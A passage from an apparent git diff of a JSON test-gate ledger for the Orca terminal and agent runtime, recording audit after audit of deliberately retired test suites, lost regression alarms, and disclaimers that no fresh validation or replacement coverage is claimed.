ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1495 intentionally deletes the orphan-owner suite: explicit owner/host predicate examples are retired; no equivalent replacement coverage or fresh result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/agent-completion-coordinator-pending-title-inspection.test.ts: Loses obsolete pending title process races, inspection failure suppression, explicit completion precedence and delayed remote inspection alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audits1301 and1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic macOS tests cover controller claims, daemon and SSH/relay operation replay, mixed-version selection, runtime ownership, exact provisional handoff, durable terminal retirement, two independent viewer mirrors, guarded adoption of legacy live PTYs, and completion classification when either the outer remote transport or authoritative host/provider process inspection becomes unreachable. The adoption harness models v1.4.150 agent/setup/shell tabs, current-generation restart and reconnect, exact handle/incarnation/worktree/host checks, topology CAS, competing clients, split-pane/group restoration, WSL ownership, and SSH owner rejection. The secondary parity repro runs independent clients against one headless remote Orca runtime over encrypted pairing and a real daemon-backed PTY, with tokened fixture-process identity separated from unrelated Codex app-server startup probes. The automated primary topology runs an isolated headed macOS Orca desktop server plus a separate paired web client and proves viewer-local fresh/resume focus, exact legacy placement, writable PTYs, unrelated-terminal survival, and host/client cleanup. SSH coverage is provider/relay contract and fault-injection coverage only; it does not substitute for paired-server coverage. Live Windows, Linux, WSL, SSH, and physical paired-Linux hosts remain gaps. The isolated intent-owner ledger suite was removed. web-runtime-session.test.ts retains exact post-create handoff confirmation only; its previous fresh/resume presentation and publication-replay assertions are no longer current references. Those direct owner-partition, cap and RPC/focus alarms are lost; other agent-session evidence does not establish equivalence. Structured handoff and adopted-leaf focus references now point to their dedicated surviving fixtures. Mixed-version recovery retains actual old-host recovery followed by a new CLI tab; its unsupported/missing-evidence tables are removed. Orphan recovery retains in-flight adoption-conflict serialization only; previous topology/pruning and absence/adoption examples are removed. These removed projection, capability and adoption-shape alarms are lost; retained cases do not replace them. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1308: src/renderer/src/runtime/web-session-tabs-sync-agent-handoff.test.ts removed. Exact provisional replacement and post-create exit confirmation handoff pipeline alarms disappear. No equivalent replacement coverage is claimed. Audit1313: src/main/runtime/terminal-orphan-topology.test.ts: Retain actual topology merge algorithms preserving disjoint subtrees and grafted/ambiguous shared anchors with independent expected trees. Remove duplicate leaf validator and empty/no-change passthrough examples. Lose basic validation and no-group/noop characterization; no renderer layout proof. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/components/terminal-pane/pty-connection-completion-and-notification.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. The entire remote-agent-session-host-authority.integration.test.ts is deliberately retired. Its independent-client canonical owner and retry/concurrent no-second-physical-PTY alarms are lost without equivalent replacement. The retained terminal-retirement TEST still owns its exact split-leaf/stale-topology refusal and delayed older-incarnation exit alarms; its early-exit replacement, persistence-admission filtering and durable-flush-failure alarms are deliberately lost. No new multi-client/physical-PTY, native, remote, mobile, cross-platform or whole-gate result is claimed. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Settings-host12 TEST policy additionally retires tests/e2e/remote-terminal-tab-retirement.unit.test.ts: loses permanent host exit retirement in simultaneous viewers and stale snapshot/replay resurrection protection. The callback composed runtime publication and synthetic viewer reducers with exact flush/publication work counts. No replacement or equivalent coverage is claimed; prior receipts remain historical and apply only to their original selectors.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/8878", "https://github.com/stablyai/orca/issues/9151", @@ -6804,11 +6804,11 @@ "https://github.com/stablyai/orca/pull/10193" ], "invariant": "For every claim-capable execution route, one provider-session identity has at most one live PTY owner and one canonical host surface across concurrent clients, retries, reconnects, and stale publications. For paired structured fresh and resume requests, the authenticated owning runtime creates in background without a renderer window; activate=true focuses the exact requested leaf only on the requesting viewer, while activate=false changes no viewer focus. A live orphan may be adopted only when the controller proves its exact handle and incarnation, its worktree and host owner match, no competing visual owner exists, and a host topology CAS wins. A viewer may classify completion only from successful host/provider inspection or explicit lifecycle evidence; transport, handle, or provider unavailability remains unknown and breaks any consecutive-idle proof. A physical exit retires that exact incarnation durably so stale client state and host restart cannot recreate it. Mixed-version routes select the unchanged legacy request before any authority side effect or execution-owner-local filesystem access.", - "oracle": "Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. The Codex restart suite and exact command/testFiles/assertionRef are removed; its mock account-change/remote-pane restart alarms are intentionally lost. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Race independent clients and repeated operation IDs, then assert one physical spawn and one canonical PTY/surface; inject exit-before-reply, provider disconnect, conflicting claim scope, old daemon/relay capabilities, reused handles, stale incarnations, owner mismatch, and topology revision conflict; assert safe adoption or explicit failure without a second spawn or wrong-process attachment. Run fresh/resume with activate true/false against an isolated headed desktop host and a separate paired client, then against isolated headless serve: assert host presentation stays background, only the requesting viewer focuses the exact leaf, inactive calls preserve client/DOM focus, a same-version publication replay cannot lose focus intent, and sibling-first split publication cannot consume exact-leaf intent. Restore legacy split panes and groups beside a newer host-owned tab, preserving exact predecessor/new/successor order, output, input, resize, titles, tab/leaf identity, active group, and multi-client convergence. For completion, drive a known running agent through outer transport loss, authoritative provider rejection, reconnect, explicit stop, real exit status, and successful hook completion; assert unavailable evidence never dispatches completion and two fresh authoritative idle samples are required after the gap. After exact exit, assert terminal and tab listings omit the surface, a stale publication cannot restore it, restart cannot resurrect it, exact tokened fixture PIDs are dead, and unrelated tabs/processes survive until scoped cleanup.", + "oracle": "Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. The Codex restart suite and exact command/testFiles/assertionRef are removed; its mock account-change/remote-pane restart alarms are intentionally lost. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No 